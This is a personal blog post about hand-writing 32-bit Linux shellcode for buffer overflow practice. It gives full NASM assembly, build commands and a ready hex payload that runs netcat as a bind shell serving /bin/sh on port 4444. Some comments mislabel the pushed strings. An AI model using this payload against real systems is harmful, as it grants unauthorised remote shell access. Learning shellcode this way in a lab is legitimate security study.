Writing shellcode for 32-bit Linux | Nevada Start

I was doing some practice with stack based buffer overflows in 32-bit linux (Kali) and wanted to dig a bit deeper into how the shellcode payloads work. So instead of just reaching for msfvenom I decided to try to roll my own simple shellcode. It wasn’t to difficult in the end, just have to take it a step at a time:

  1. Write a simple assembly program
  2. Test it out
  3. Extract the code in a hexadecimal format

I already had a vulnerable program I could test the payload at (that whole process is another story), so most of the hard work was done. A simple test was to see if I could write my own netcat bind shell, by using the execve system call to run /bin/nc -lvp 4444 -e /bin/sh.

I’m not an assembly expert, and the code below could be improved by using variables for the hard coded strings instead of building everything on the stack, but this was short and sweet. The tricky part is keeping track of what is pushed onto the stack, and using the correct registers for the arguments passed to execve.

section .text
global _start

_start:
  jmp start_attack

start_netcat:
    xor eax,eax ; Clear EAX
    push eax    ; push a null terminator onto the stack
    push dword 0x636e2f2f ; push /bin
    push dword 0x6e69622f ; push //nc
    ; Store the address the stack points to in EBX register
    ; It'll be the first argument for execve
    mov ebx,esp
    ;--------------
    push eax ; push null terminator
    push dword 0x68732f2f ; push //sh
    push dword 0x2f2f6e69 ; push in//
    push dword 0x622f652d ; -e/b
    ; This will be the second item in the array of arguments
    ; which is the second argument passed to execve
    ; Now we have - execve('/bin//nc', ['bin//nc', '-e /bin////sh'], NULL)
    mov edx,esp 
    ; -------------
    push eax ; push null terminator
    push dword 0x34343434 ; push 4444 (TCP port number)
    push dword 0x70766c2d ; push -lvp (listen, verbose)
    ; The last entry in the array of arguments for execve
    ; Now we have:
    ; execve('/bin//nc', ['/bin//nc', '-lvp', '4444', '-e /bin////sh'], NULL])
    mov ecx,esp
    ; -------------
    ; Push the arguments in reverse order onto the stack
    push eax
    push edx
    push ecx
    push ebx
    ; ____________
    mov al,0xb  ; System code for execve
    xor edx,edx ; Clear EDX, so we pass null as the last argument
    mov ecx,esp ; ECX contains the array of arguments for execve
    int 0x80    ; System interrupt

start_attack:
  call start_netcat

Now that we have some assembly written, we need to assemble and link it, with the following two commands:

nasm netcatShellcode.s -f elf32
ld netcatShellcode.o netcatShellcode

Time to test it out and see if our bind shell works (I’m connecting from the same host). Running the program with sftrace we can see the call to netcat.

Netcat bind strace

Then test connecting to the bind shell, and success!

Netcat success

The hexadecimal values needed for the shellcode can be easily extracted with objdump.

objdump

For the shellcode payload we only need the contents of start_netcat, starting with the xor eax, eax instruction and ending with the system interrupt int 0x80. So the final payload for the netcat bind shell is:

"\x31\xc0\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2f\x2f\x73\x
68\x68\x69\x6e\x2f\x2f\x68\x2d\x65\x2f\x62\x89\xe2\x50\x68\x34\x34\x34\x34\x68\x2d
\x6c\x76\x70\x89\xe1\x50\x52\x51\x53\xb0\x0b\x31\xd2\x89\xe1\xcd\x80"